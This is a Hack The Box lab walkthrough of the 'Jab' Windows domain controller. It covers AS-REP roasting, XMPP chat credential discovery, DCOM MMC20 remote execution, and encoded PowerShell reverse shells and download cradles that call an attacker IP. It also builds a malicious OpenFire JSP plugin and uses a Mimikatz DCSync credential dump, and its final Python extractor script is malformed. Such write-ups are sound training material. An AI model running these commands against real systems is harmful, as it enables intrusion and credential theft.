Jab HTB Walkthrough: XMPP, DCOM, and OpenFire Exploitation

Apr 25, 2025    #windows   #active-directory   #htb   #hack-the-box   #ldap   #xmpp   #jabber   #dcom   #mmc20   #asreproasting   #openfire   #download-cradle   #java   #jsp   #privilege-escalation   #lateral-movement   #windows-security  

Jab Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

1. Enumeration:

NMAP:

Basic Scans:

Comprehensive Scans:

LDAP 389:

Using LDAP anonymous bind to enumerate further:

  1. We have the naming context of the domain:
    ┌─(...ontent-org/Walkthroughs/HTB/Boxes/BlogEntriesMade/Jab/scans/nmap)───(kali@kali:pts/8)─┐
    └─(14:02:13 on main)──> python3 /home/kali/windowsTools/enumeration/ldapire/ldapire.py $box
    
    ------------------------------------------------------------
     Server Information
    ------------------------------------------------------------
      • IP Address  : 10.129.230.215
      • Domain Name : jab.htb
      • Server Name : DC01
      • Forest Level: 7
      • Domain Level: 7
    

Updating ETC/HOSTS & Variables:

Syncing Clocks for Kerberos Exploitation:

DNS 53:

We get standard entries:

Kerberos 88:

Using Kerbrute to bruteforce Usernames:

Kerbrute is great for bruteforcing usernames/emails when kerberos is running.

kerbrute userenum -d $domain --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt -o kerbruteUsers.txt

That’s a lot of usernames…….however pretty realistic in a large environment so lets get these saved and use them later.

Lets extract the emails for ease:

awk -F: '{ gsub(/^[ \t]+|[ \t]+$/, "", $4); print $4 }' kerbruteUsers.txt >> KEmails.txt

This may look complex but all it does is extract the Emails using awk and any leading/trailing whitespace.

Now we need to extract just the usernames:

awk -F@ '{ print $1 }' KEmails.txt > KUsernames.txt

Now we have two files ready for use.

2. Foothold:

Finding an ASREP Roastable User using impacket-GetNPUsers:

We should always try and asreproast with a null/guest session as it can lead to an easy win

# This one will just work, without having to pass anything else.
impacket-GetNPUsers $domain/ -request

As we can see it did not work.

Lets try with our extracted kerbrute usernames

impacket-GetNPUsers $domain/ -dc-ip $box -usersfile KUsers.txt -format hashcat -outputfile asRepHashes.txt -no-pass

And looking at our output file we can see we have captured 3 asrep hashes:

Cracking ASREP tickets to recover clear-text passwords.

#Cracking
hashcat -m 18200 asRepHashes.txt ~/Wordlists/rockyou.txt

We managed to crack the users “jmontgomery” ticket and recover their password “Midnight_121”

Lets validate the creds.

netexec smb $box -u $user -p $pass --shares

They are!

Cred stuffing with our found credential:

As we have found a valid cred, we can try cred stuffing to see if any other users have the same password:

kerbrute passwordspray -d $domain --dc $box KUsernames.txt $pass

We only get our known user as a hit

Using netexec for Kerberoasting:

As we have creds we can kerberoast:

netexec ldap $box -u $user -p $pass --kerberoast kerb.txt

As we can see there is an error, lets try another tool.

Using impacket-getuserspns.py

python3 /home/kali/linuxTools/impacket/examples/GetUserSPNs.py -outputfile kerb.txt -dc-ip $box $domain/$user:$pass

No hits.

SMB 445:

Attempting to connect with NULL & Guest sessions:

This is a standard check I always try as alot of the time the guest account or null sessions can lead to a foothold.

netexec smb $box -u 'guest' -p '' --shares
netexec smb $box -u '' -p '' --shares

We can see that neither work, however we have creds for a user so we get use them to check.

Trying Usernames as Passwords:

Enumerating SMB shares using netexec:

netexec smb $box -u $user -p $pass --shares

Lets spider them for ease and check the results

netexec smb $box -u $user -p $pass -M spider_plus

Lets see if there is anything of note.

cat /tmp/nxc_hosted/nxc_spider_plus/*.json

Nothing of value

Enumerating Users with Impacket-lookupsid:

We can use impacket-lookupsid to enumerate users & groups on the domain, well anything that has a SID.

impacket-lookupsid $domain/$user@$machine.$domain -domain-sids

This has provided some really valuable information as we can see there are two service accounts listed however there is ALOT, so lets do a bloodhound collection to make this easier to process.

Performing a Bloodhound Collection:

I use bloodhound-python to perform a collection.

bloodhound-python -d $domain -ns $box -c All -u $user -p $pass

I then import these into bloodhound for investigation.

Bloodhound Findings:

At the moment we don’t have access to this user, however it’s important to understand how this could be useful moving forward so check out the side quest below.

Side Quest: What is a COM object?

Imagine Windows has a giant library of “lego-bricks” called COM objects (COM = Component Object Model). And each of these bricks is a module that already knows how to do one specific job, e.g. draw a button, talk to Excel, unzip a file, query a database, etc.

Now, normally you’d have to build that functionality yourself, but COM lets you just say, “Hey Windows, hand me the brick that prints PDFs,” and you can snap it into your program no matter what language you’re writing in, whether that be VBScript, C++, PowerShell or even Word macros.

Local vs. Distributed COM?

Local COM

Distributed COM (DCOM)

What the permission really means?

"Members are allowed to launch, activate and use Distributed COM objects on this machine."

So if our account is in that group, we can tell Windows:

  1. Spin up a Word-processing COM object on a file server,
  2. Activate a spreadsheet object that’s already running on another workstation,
  3. Then call ‑into those objects from your local script or application.

In short, being in this group is like having a “network-wide library card” for COM bricks we’re trusted to; check them out, wake them up, and use their features across the network and as it says “on this machine” this means we can launc COM objects on the domain controller itself, in essence RCE.

Jabber 5222/5223 Server:

XMPP tools:

As xmpp is in the results of our scans we need a tool to interact with the protocol, luckily there is a FOSS tool called pidgin which we can use.

sudo apt update && sudo apt install pidgin

Side Quest: What’s XMPP?

XMPP stands for Extensible Messaging and Presence Protocol. It’s a communication protocol. Basically it’s a set of rules computers use to send messages to each other.

Think of XMPP like email but for chat: you can use different apps, run your own server if you want, and talk to people across the network.

What is XMPP used for?

XMPP is mostly used for real-time chat, but it can also handle things like video calls, file sharing, and even notifications.

Why use XMPP?

Connecting as jmontgomery via XMPP:

This is the first time I have used XMPP or pidgin so this took me a while to configure, mainly due to lack of experience however I mangaged to get connected.

Configure the account:

Once you open pidgin you will need to add an account, as we already have creds for jmontgomery we can use those.

Under advanced set the following settings:

Then click “Save”

Viewing available rooms:

You will now have a blank screen however if we click “buddies” & then “Jon a Chat”

You will be given this next screen click “Room List”

Another pop up will appear with the conference server listed as conference.jab.htb now click “Find Rooms”

We should now be presented with a list of rooms, as you can see there is a pentest2003 room, plus some test rooms. We will check all rooms to be sure.

Joining rooms:

Click on the room and then click “Join”

I know, I know we should join the pentest room first, however we need to do our due diligence and check all rooms, well luckily for you we can’t join the base test room.

3. Lateral Movement:

Finding clear text credentials for the svc_openfire user in the pentest xmpp chat:

Looking at the pentest chat we can see that they have pasted text from the pentest report, where they were advised to remove the Service Principal Name (SPN) from the svc_openfire account.

However it appears the testers did not redact the clear text password and it is available in the output.

Verifying the svc_openfire credentials:

netexec smb $box -u $user -p $pass --shares

Valid, great we don’t seem to have access to any further shares :(

+Note+: I also add svc_openfire to pidgin to see if they have access to any other rooms but they do not appear too.

Checking the test2 room:

Looking at the test2 room we can see there is one entry from bdavis

Out of curiosity if we decode the base64 string it gives us the following output

echo 'VGhlIGltYWdlIGRhdGEgZ29lcyBoZXJlCg==' | base64 -d

Getting RCE Using impacket-dcomexec:

As we saw in bloodhound our user svc_openfire has the permission to launch, activate and use COM objects on the DC itself, but how do we do it? Well luckily for us, impacket has a great script call impacket-dcomexec which is designed for this specific task

Checking for remote code execution:

Let’s do the simplest test possible and see if we can get the DC to ping our attack host.

Start our listener with tcpdump

sudo tcpdump -i tun0 icmp

Pass our command using impacket-dcomexec

impacket-dcomexec -object MMC20 -silentcommand -debug $domain/$user:$pass@$box 'ping 10.10.14.31'

It works so we have remote code execution!

This is telling the target to:

If this works, it means you were able to remotely execute code via a COM object — without writing a file, triggering AV, or needing an interactive session.

Side Quest: What’s an MMC20.Application?

The MMC20.Application is, as you guessed it, a COM object provided by Microsoft. It is tied to the Microsoft Management Console (MMC). It’s basically a programmatic interface to the same MMC framework which we can use when launching tools like:

But in this case, it’s the underlying object, not the GUI itself.

The 20 refers to version 2.0. This is just the standard naming convention for COM object versioning.

What does it do?

The MMC20.Application object is a scripting interface to the MMC.

Which means if we’re able to instantiate this object remotely using DCOM, we can tell it to run something, anything a command a script both and it’ll do so under the security context of the user that owns the process, in this case the user svc_openfire however it’s often SYSTEM or an admin as this is a high-level privilege.

Why is MMC20 used in DCOM exploits?

MMC20.Application is useful in DCOM-based remote code execution (RCE) o/privilege escalation because it:

  1. Can be remotely activated via DCOM if permissions are misconfigured.
  2. Often support methods that let us execute arbitrary commands or scripts.
  3. Are already present on many systems (no need to upload anything).

This is why it shows up in tools like impacket-dcomexec.

Getting a Shell on DCO1 as svc_openfire:

As we have confirmed RCE on the host we can now get a reverse shell. I’ve provided two options on how to do this below. The first being a standard base64 encoded shell and the other by way of a download cradle.

Option One Standard base64 encoded shell:

I like to use https://www.revshells.com/ and use the base64 encoded Powershell option.

impacket-dcomexec -object MMC20 -silentcommand -debug $domain/$user:$pass@$box 'powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAxACIALAA1ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'

We get a connection

Lets get our user flag:

Powershell Download Cradle:

I have an article about download cradles available here, this is my preffered method.

  1. Create the powershell cradle file:

    echo 'IEX (New-Object Net.Webclient).downloadstring("http://10.10.14.31/rev.ps1")' >> cradle
    
    • This will be used to grab the hosted shell from our system.
  2. Encode the powershell cradle in correct UTF format so powershell can understand it.

    cat cradle | iconv -t UTF-16LE | base64 -w 0; echo
    
    • Breakdown:

      • cat cradle: Reads the contents of the file (which is the PowerShell command).
      • iconv -t UTF-16LE: Converts the plain text into UTF-16 Little Endian encoding.
        • PowerShell’s -EncodedCommand parameter expects the input to be in UTF-16LE format because that’s how Windows internally represents strings.
      • base64 -w 0: Base64-encodes the UTF-16LE data.
      • -w 0 ensures the output is all on one line (no line breaks), which is required for PowerShell to interpret it correctly.
      • echo: Just adds a newline at the end so you don’t get a messy prompt afterward.
      • +Note+: I would always base64 encode cradles as often special characters such as parenthesis etc will need escaping to function correctly.
  3. Prepare our shell, I like to use nishang however you can use http://revshells.com etc.

    • Copy our shell
         cp ~/Dropbox/40-49_Career/45-KaliShared/45.01-WindowsTools/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 rev.ps1
      
    • Modify IP/Port in shell if required.
      vi rev.ps1
      
  4. Start our webserver:

    sudo python -m http.server 80
    
  5. Start our listener:

    rlwrap  -cAr nc -nvlp 53
    
  6. Paste the base64 encoded command into powershell/injection point

    impacket-dcomexec -object MMC20 -silentcommand -debug $domain/$user:$pass@$box 'powershell.exe -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMwAxAC8AcgBlAHYALgBwAHMAMQAiACkACgA='
    

Shell caught.

Finding out openfire is running internally:

Enumerating the network connections I can see that openfire is running internally. (the only reason I know this is that I just did the box https://bloodstiller.com/walkthroughs/solarlab-box/ and these port numbers are seared into my brain.

To access this we will need to port forward from the target to our local machine, let’s use chisel .

Creating a tunnel with chisel :

As OpenFire is running locally we have no way of accessing it without creating a tunnel back to ourselves to access it, so lets do that with chisel .

Prerequisite: You will need the binaries, for both Debian (if using kali/parrot etc as an attack machine) and for the target Windows, you can get these from: https://github.com/jpillora/chisel/releases/

  1. Transfer the binary to the target

    wget http://10.10.14.31:9000/chisel.exe -o chisel.exe
    
  2. Start a listener on kali:

    ./chisel server -p 8989 --reverse
    
  3. Connect back to our listener on kali and redirect traffic from port 9090 on the target to port 8000 on our attack machine.

    Start-Process -FilePath .\chisel.exe -ArgumentList 'client 10.10.14.31:8989 R:8000:127.0.0.1:9090'
    
    • +Note+: We use the Start-Process cmdlet as it allows us to background the process and continue to use the shell as normal.

Let’s verify if we can access the service, and we can.

4. Privilege Escalation:

Logging into OpenFire as svc_openfire:

As we have creds for the openfire account lets check if we can login as them and we can.

Finding the export user plugin:

Looking at the plugins installed we can see there is a “User Import Export” plugin installed.

Clicking on the icon (arrow for ease) we can view the readme for the plugin. We can see that we can export the data and it will contain clear text passwords and it’s in .xml format.

Exporting Clear Text Creds from OpenFire:

Navigating to the “Users/Groups” page we can access the plugin via the “Import & Export” section.

Clicking “Export User Data” we can then select “Export”

If we do this we should now have a lovely .xml file full of creds.

Finding Admin Credentials in the xml:

Looking through the exported xml we can see it’s full of passwords.

If you look at the admin password you can see it contains it contains the part & this is just xml encoding for the symbol &, so we need to remove the other parts until we are left with:

odW!!mVfbXs304kskt!QAZDVGY&@

I check if this is valid, but it does not work.

I check some other accounts too and can see it’s the same.

If we look at our user svc_openfire we can see that it is actually the password. This is most likely as it’s a service account so the password has not been changed or re-used, naughty.

Logging into pidgin as admin:

We repeat the same process as earlier and login as the administrator.

They only have access to the rooms we have already seen previously.

Extracting all passwords from the xml:

As we have a list of users and passwords, it would be rude not to extract them and try them against the target.

Creating a tool to extract usernames & passwords in python:

Python has good xml support so this should be easy to do.

  1. Lets get the required imports:

    import xml.etree.ElementTree as ET
    

    We will use the xml library and call it as ET for ease.

  2. Now lets load in our extracted file and parse it using the xml library:

    # Load and parse the XML
    tree = ET.parse("openfiredata.xml")  # Change this to your file path
    
  3. We will then use the library to get the root element of the XML tree:

    root = tree.getroot()
    
  4. Let’s create two new files for writing the output too, xml_users & xml_passwords:

    # Open both files for writing
    with open("xml_users.txt", "w") as users_file, open(
        "xml_passwords.txt", "w"
    ) as passwords_file:
    
  5. Now we create a simple loop to loop through the file from the xml root object, and search for the string “Username” & “Password”. and save them to variables username & password.

        for user in root.findall("User"):
            username = user.find("Username").text
            password = user.find("Password").text
    
  6. Finally lets write these returned usernames and passwords to our files and add a new line character \n at the end of each entry so that we don’t end up with a single line output.

            users_file.write(username + "\n")
            passwords_file.write(password + "\n")
    

The final script should look like this.

import xml.etree.ElementTree as ET

# Load and parse the XML
tree = ET.parse("openfiredata.xml")  # Change this to your file path
root = tree.getroot()


    for user in root.findall("User"):
        username = user.find("Username").text
        password = user.find("Password").text
        users_file.write(username + "\n")
        passwords_file.write(password + "\n")

Lets run it

python3 dataextractor.py

We have our files

Lets verify that the passwords are in fact extracted in the correct order. The easiest way I find to do this is to look at the first and last entries, this way it will tell us if at anypoint it had slipped out of sequence for whatever reason, e.g. a user had no password entry or there was an issue with the script logic.

head xml_passwords.txt
head xml_users.txt
head openfiredata.xml

tail xml_passwords.txt
tail xml_users.txt
tail openfiredata.xml

As we can see below this looks good so we can continue to spraying these passwords.

Password Spraying the recovered creds:

As these are username and password combos we don’t want to bruteforce, e.g. use every single variation with each other, luckily netexec allows to specify the --no-bruteforce flag which will mean it goes through the files at the same in the same order.

netexec smb $box -u xml_users.txt -p xml_passwords.txt --no-bruteforce --continue-on-success

And…..the only hits we get are for our already recovered users jmontogomery & svc_openfire.

Cred stuffing our 3 found passwords with our new list of users:

As we have a list of recovered passwords, we can cred stuff these with our new list of found users.

netexec smb $box -u xml_users.txt -p ../Passwords.txt --continue-on-success | grep [+]

Unfortunately we only get a hit on the records we have already gotten.

Reading the openfire db:

Openfire has it’s own DB called openfire.script located in C:\Program Files\OpenFire\embedded-db.

If you read my solarlab blog post, you will see I wrote a small decryptor in python to decrypt passwords.

Looking at the database on the host we can see the passwordKey is available

cat openfire.script | select-string "passwordKey"

We can then extract the hashed admin password:

cat openfire.script | select-string "admin"

Running it through the decryptor gives the same admin password we extracted before. I expected this to be the case but wanted to check to make sure.

Getting A Shell Via Malicious OpenFire Plugin:

So I tried a million different things before trying what I had literally done last week on the solar-lab box as I thought, “There is no way privesc will be the same surely”, but guess who was wrong.

Creating a malicious reverse shell plugin for OpenFire:

After some searching online we can find a public java reverse shell

wget https://raw.githubusercontent.com/LaiKash/JSP-Reverse-and-Web-Shell/refs/heads/main/shell.jsp

All we have to do is modify the Port & IP.

Next we download the example plugin repo from OpenFire.

git clone https://github.com/igniterealtime/openfire-exampleplugin.git
cd openfire-exampleplugin

We copy the shell.jsp to exampleplugin-page.jsp location for compilation

cp ../shell.jsp ./src/main/web/exampleplugin-page.jsp

We will need to install apache maven to compile this exploit, so if you don’t have it already run the below to install it.

sudo apt update && sudo apt install maven -y

Now we need to create the package.

mvn -B package

Once complete you should get a successful build message:

Next we put the plugin into the correct structure for uploading to OpenFire.

cp ./target/exampleplugin.jar exampleplugin.zip; zip -ur exampleplugin.zip ./plugin.xml ./readme.html; mv exampleplugin.zip ./target/exampleplugin.jar;

The correct file is exampleplugin.jar located in target/

Start a listener:

rlwrap -cAr nc -nvlp 6969

Next we upload the exploit

Now we finally trigger the plugin so our reverse shell is active. As this version is not vulnerable to the traversal exploit we can just call it straight in the browser from an authenticated session

http://localhost:8000/plugins/exampleplugin/exampleplugin-page.jsp?

Get our root flag:

Stabilize Shell:

You will probably notice the shell is quite unstable. To rectify this we can easily generate a base64 encoded shell on revshells.com and a new listener and catch a new shell from our existing unstable shell.

powershell -e [base64]

5. Persistence:

Using mimikatz to dump the administrator hash:

First lets use a download cradle to load mimikatz into memory using the Invoke-Mimikatz.ps1 script.

Get script

wget https://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1

Start a server to serve the script on our host:

python3 -m http.server 9000
IEX (New-Object Net.Webclient).downloadstring("http://10.10.14.31:9000/Invoke-Mimikatz.ps1")

Then lets get the administrator hash as that will make life easier.


Invoke-Mimikatz -Command '"privilege::debug" "lsadump::dcsync /domain:jab.htb /user:administrator"'

Lets validate the hash:

netexec smb $box -u $user -H $hash --shares

It’s valid as expected, but it’s always good to check.

Dumping NTDS.dit/DCSync attack:

You may be wondering why we didnt’ just do this with mimikatz, well the host is quite slow and the shell not too reliable so if we get a hash we can use linux based tools to get this information remotely.

Perform DCSync attack using netexec to get all the hashes, this will take a WHILE so be patient.

netexec smb $box -u $user -H $hash -M ntdsutil

Extract all hashes from netexec

for file in /home/kali/.nxc/logs/DC01_10.129.239.38_2025-04-25_131914.ntds; do cat "$file" | cut -d ':' -f1,2,4 --output-delimiter=' ' | awk '{print $3, $2, $1}'; printf '\n'; done

Lessons Learned:

What did I learn?

  1. I learned a good lesson in doing the obvious. I had done the solar-lab box before this and it has a similar privilege escalation method but I thought it couldn’t be that as it’s too obvious.
  2. I actually learned alot about xmpp. I was aware of it previously as a concept and would have used it withougt knowing however I had no direct interaction like this with it.

What silly mistakes did I make?

  1. Not doing the obvious when I should have.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at bloodstiller dot com



Next: Administrator HTB Walkthrough: DACLs, ACL Abuse, and AS-REPRoasting